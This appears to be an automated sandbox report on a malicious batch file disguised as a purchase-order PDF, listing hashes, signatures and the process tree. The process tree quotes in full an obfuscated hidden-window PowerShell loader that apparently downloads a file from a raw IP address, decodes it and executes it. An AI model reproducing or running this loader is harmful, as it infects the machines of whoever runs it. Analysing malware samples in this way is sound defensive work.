Analysis

  • max time kernel
    0s
  • max time network
    1s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-04-2024 09:31

Errors

Reason
Machine shutdown

General

  • Target

    PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat

  • Size

    7KB

  • MD5

    6c70e7a8891c5f33997d79d37e79aa37

  • SHA1

    2078349aa37c31d0f378e302d797845a25603961

  • SHA256

    40acbda6947bc0e99b0d5cc93a5d1a58529a7469563e328a2ca54344f08b9b75

  • SHA512

    e2ef87750ec9b3683ffc4b13e4e954e4e20d8fdcf79d704ee6a54ee3a2375ad9bfb1557bb6a0dde0d295af7d78d1bcc398606466c49250e2e566f433a5ba01b2

  • SSDEEP

    192:61a/J9MX21bdLSgMulLVo7l+isVXmG5ZWZI:6YJGugJ+ilG5J

Score
1/10

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3276
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Scoliosis = 1;$Uranological='S';$Uranological+='ubstrin';$Uranological+='g';Function Unfordable($Afnazificerende){$tillg=$Afnazificerende.Length-$Scoliosis;For($Whiskin=5; $Whiskin -lt $tillg; $Whiskin+=(6)){$Naganas+=$Afnazificerende.$Uranological.Invoke($Whiskin, $Scoliosis);}$Naganas;}function Overcultivation($Undlivet){. ($Promachos) ($Undlivet);}$Nonpacifiable=Unfordable 'ForriMMarjooRadiozTovtristeerl RanglHypn.aA,fal/Laede5Manus.Rader0 ,itu Svovl(ThereWaymauiForjanBrokedU,rstoMiniswO defsMecha NonseNS.jdmT Skol deadn1 Bron0Korre.Fisk,0Tmmer;Brutt RepluWCompti Sai nEpito6Kornh4 St,a;Anstt AktivxStupi6folke4 Un,i;Staun Br.merInnovvepina:Op.ra1 Stem2 icti1Impr .Dval.0 Opma)Flamm BetutGEnsemerhebocRorgnkOpby oRelat/ Skia2 forl0A aph1Reve.0Prowl0Flavo1Gra d0Polyc1 esid nimF,hiskiDeltarFaks,eComepf J,zzo.austx Shna/Hinde1Fre.d2Skrog1Skamb.cap i0Enhed ';$straalepletters=Unfordable ' EtwaUForthsQuoine UdtrrRecur-TriviAPreplg EluteLadysnGharntEmb e ';$Meshrebeeyeh60=Unfordable 'Boondh FisktUndert.ouarp Wat,:Fordy/ Phi /Sad,e2.ndri3Dextr.Compe9Udste5Bu,df.Dryss6Uo.de0Tower.Ve,mi7 Bole7Hyper/Dag,eS UnalpNoveloForsknEg.npdS,angu Pardl InteiErnrixUnder.Parada AkonaSeriafspelt ';$Idoteidae=Unfordable '.loks> Ssla ';$Promachos=Unfordable 'PudgyiTotaleSies xBaksn ';$Casimir='Yellowrump';Overcultivation (Unfordable 'BygvrSAymece Aloet Radi- FremC.ulogoMennenbefintBankrePhagonRela tStabe Gudet-OmdelPIndfoaUntact,ynchhConvu SuppTExund:t.app\TrepabMeethe gorgtReturrKnudeaSla mgDebartGiftin O deiSouthnMisddgBiblisRecoamAligha SpriaMelamdJordbe P.ernDrluk. .odetLovbexGlimttslagt Succe-AmfibV ibeaR.warlBo ghuOverpeAgert Maxso$AmotiCskruma B,omsFejeli Mi.imGarani.tterrSla o; rykf ');Overcultivation (Unfordable ' AgtviA,toifforwa forsm(SvigbtDatteeC,thusKlasstmalla-.leskp SankaDatabt enblhRaffi UnsoTOnlya:Delta\ TildbTutele Li vtFos,arBehovap pewgtoisttBorgenRe.rdiBruttn L nggBo gesVocatmoutwiaUnd raKrum,dCommeeSandsnEfter.G laktBefrix Bed t Yngl)Gravk{BredseDokumxUnhobiSlitctmaler}I fin; Va,g ');$Escheats40 = Unfordable ' K tee.ejlpccoarchColonori ge S.gna%DisseaMarkhpS inappreind JuliaMessitTomlea Bunk%Bro.h\S ndssNaesth Ligee DoktvfdekaeReforlNoncelSaurui Kn pn un eg Unni.Sal.mfA,bejoConf,rbidsa Ricab&Waggo& Nvns Sk.eteSektecElekthZoogeoU.ext Freds$.orld ';Overcultivation (Unfordable 'Misar$HydrogautotlInhu,o Precb SwadaThaynlRoter: ,nkoEAutopvPund.aLow.rnReco gKa,lie nonslRaastiJubileMotortMisgre Tomekge.iasAfarstAfdaneDen.ir lin,naraneeShoatsfradm=Mis,a(NaturcReklamCalvadPeda. C,ntr/He esc Lyke Retve$ Syd E.ennesIncitcN,hedh ink.e S.ataIndkatKnowhs .ulm4Ultra0G.sti)Trkul ');Overcultivation (Unfordable ' Ball$KoopegOxyphlFly.eoRequobD,masakaabelArbor:MuzziTPi,rchCh moePi.loo NonurFind,yIntromInnocopothenFrugagStatie Tvanr Impo= Hy,i$FuldeM sr,te E.dosSpiseh Hy,dr Proee edorbRadiaeClubhe Apsiy .reneFo.eih Madr6Vel.c0Dissi. SanisModelp BrevlT etei Retit.ntik(Indif$,vercIComandBdleroPhilotfaldee Resui LammdWateraDecideSkriv)Laryn ');$Meshrebeeyeh60=$Theorymonger[0];Overcultivation (Unfordable 'N noc$ OvergnonrelGoug oforklbAgropaUnd glFrika: Udl sUnfelhFr.tueP,nsrtUful,lDigreaOrigin astadNubilsUdn,nkInstieE,iras,ktie=ChadoNSo.rge Compw .ibb-AdresOPancrbDesinjFunk.eMode.c K notTredi telefS Afkoy atiosforv tDeod.ef.ssimZen b. D,spN rdoreForsttfor k.FrittW UnafeSgadpbRefusCSt velH,spiiTum,te,althnMariots uts ');Overcultivation (Unfordable 'sprin$Molo,sUrophhPolereDuctotKbmanlionosaRightn Er.rdhyperstestukvau.heE.sprsnetwo.FolkeHRaketePla,maPolardS,ndeeIncorrHarm.sMaint[Infor$ReconsApp.rtT.lvtrExhoraUneagaScandl ,ktie .orbpUndialKonfieEkstrt K avtChiroeD.plir ogonsPyrid]Ortha= Grap$OverbNTilbao .vehnAbearp .sseaD.bbec WilliCabfrfGlukoi BardaRan,hbDile lIndeheKkken ');$Hjspndingsanlg=Unfordable 'UtmossRygnihAfpree Re itAlabalT,rveaSelf,n,amstdDeflosS,rafkS nsaeTufolsr ful.FoedsD PastoTullywVersenCha.tlDiascoSvedeaEnfladScatoFBegiviStegelSkunkeAntis(Forbl$.ggluMCarg eJu bls KlkkhP rtirSultaesedjabFortueOmdefeD,sfryOveree .verhRetor6 Iamb0Kar m, osep$CalliPTragtoGyrossAtompt Hu.meA presTilstoRehabpFloddhIsuroa .lfagAc.reeFysiua Quo.l As,r)Opfyl ';$Hjspndingsanlg=$Evangelieteksternes[1]+$Hjspndingsanlg;$Postesophageal=$Evangelieteksternes[0];Overcultivation (Unfordable 'Carou$Ort,og Sh,nlTaeniolittebDv,tpaFartjlS.idn:KjoleBt,benu aisedVelseg UdeneMycomtSlagttSkovsaHospilSemirlFrakkeTilnrn Kimie Xant= Fi,a(VelarTLnar.eKlovnsKvajptDefin-Oph,oPBuffeaTillgtUforuh.emat .urs$ Dar.PWaxbeoa alfsfacettSkabeeSub,ksmissioNontupToldahMaundaFrenagBenzoe odbyaUdlbelC.teg) onfi ');while (!$Budgettallene) {Overcultivation (Unfordable 'Tug,e$StiftgR jnelTilstoMimeob Kl.nabenefl ,and:Sa,meA F.rstGho.tr,onexiA iskuShei.mBytteeRomajtOutthsbanna=Latti$ Vibrt Tr.mr L nduh.rmoeKlyst ') ;Overcultivation $Hjspndingsanlg;Overcultivation (Unfordable ' CounSObsertplutaaunbanrD gsatSankt-ParelS,nkarlPar.de Parre eatepFljen Nekr4 Afs ');Overcultivation (Unfordable 'Ndern$barrigUredol,oleioBrunobAfskeaReerelStabi: downBReemiuArb,jdPerfugAkklieS.entt SkygtMas.eaFinsklyellolRgrene,isapnbud yeUds.r=Inter(PermaTTheoweAeronsOveritAzot -RuskuPIntraaPalattDehumhE tom Hirud$ MewlPAkkviomuzgas MalttUnvaleTavseswifelo Filhpb defhTursea.enomgNonp e A.uraKalkulDiap )Ferie ') ;Overcultivation (Unfordable 'Okse $AuricgUnde lMetapoPedatbCromsaAff,ll Unhe:FewmeSAlarmtOpstiaSe icl KeftlIndreiDesexn Guttg inieJysk,rMetalnUdbydePe,so= Skar$ RotagCurstl AkseoEnspobUd.ida NeurlB,ted:SpkkeT.tannrRdsela onoi.rivanSki.ta Dr kbIn,oplB,rgeeDecra+Tmret+H.rud%Nigge$ AmbiTFr hjh UnfuePere o Rehar TvisyrevalmSmok oFu.ktnMeddegMed eeSforkr Cou...tyrkcTyroioKontrulov vnFor.at ,rad ') ;$Meshrebeeyeh60=$Theorymonger[$Stallingerne];}Overcultivation (Unfordable 'Tegnf$ Fig g Fodel .onpoS rinbIn.eraChikal Erkl:NonoxT V.lkhFemorrgteskiPumpenTreengGhetciCrossnPhospg Outl Iron= eprs Lage GAcaceeSkybatDisko-StricCOverioKlippn,dbrytD,ueseAuthenSforstCe,le Speci$ jdekPTnknioEpitasAmitytKu,sueLaters StvgoradirpHydrohYngreaN,dtrg,emokeBe,igaPica lSvink ');Overcultivation (Unfordable 'Musso$InsengKeypul Canto AlenbKonsiaZoharlOphth:Sn opKUnforeS,gilgcharmlGoutieBoressEksk pCo feiMeshulDemils deha Astro=Melte T iop[NebulSProsoy UroxsForstt sygne,rossmPrope. SlukCSketcoIndkrnBiotevP,umpeVillerBergat yste]chart: Bygg: .winF MastrIndtro lverm eismB PulmaRobals Smeee Infi6Super4NonspSs,ocktWh.msrTrkkeiIkldenImbrog Tric( Pa e$Unli,TInv,nhPaup r N.vaiEdel nF,algg,ogkliTriren Str,gPropa)Talbl ');Overcultivation (Unfordable 'Appel$PlebigNonvalNoisooDeistbFour,a fluolForur: VestSTillanCoigndReomieAstrorScrapbControridesmBnkerbFormaeOddmed For,eBusin Jetst=Textl .onco[SkovlSO drtyPa.scs ul.rtJa.ereUnconm Arbe.AlkalT indeHenryxPaskot onma.WalkaEWa,ghnHerskcPrinsoFjerkdAbri,iAn,agn BlokgDi.fe] ,olt:Jodti:Neve.AFi,keSBac.lCHumerIF.lesISuav,. opstGflommeJulemt NongS Stint BrstrSs ykiExtranAvoidgFnged(Fyren$SundeKErholeUn,tig.ousilGrundeAntinsSnigspUnnigiPendllSej.esContr)Negat ');Overcultivation (Unfordable 'V rke$UnrhygU.perl Diffo,ardbbSed.caVe,malIcono:A triSMedhjhaaka.aS mborblodie QuifpHocusuM alrs AspahLaitaeTantrr Natu=raab,$ CeruS DolmnFavn,dbrutae SurvrPro.rbAutodoUnde,mVan,rbGrd keBundgd Skrae ,ejl.AlmshsMinueuBloksbTakofsForhatPostrr DactiEnchenUngragUnca (Sg,fa2Gingk9Homoe3 Re e7Tvang5 Pare6.fors, Maea2 Semi9 Bevr9pibe 5Mi jb3Je si)hygro ');Overcultivation $Sharepusher;"
      2⤵
        PID:3960

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads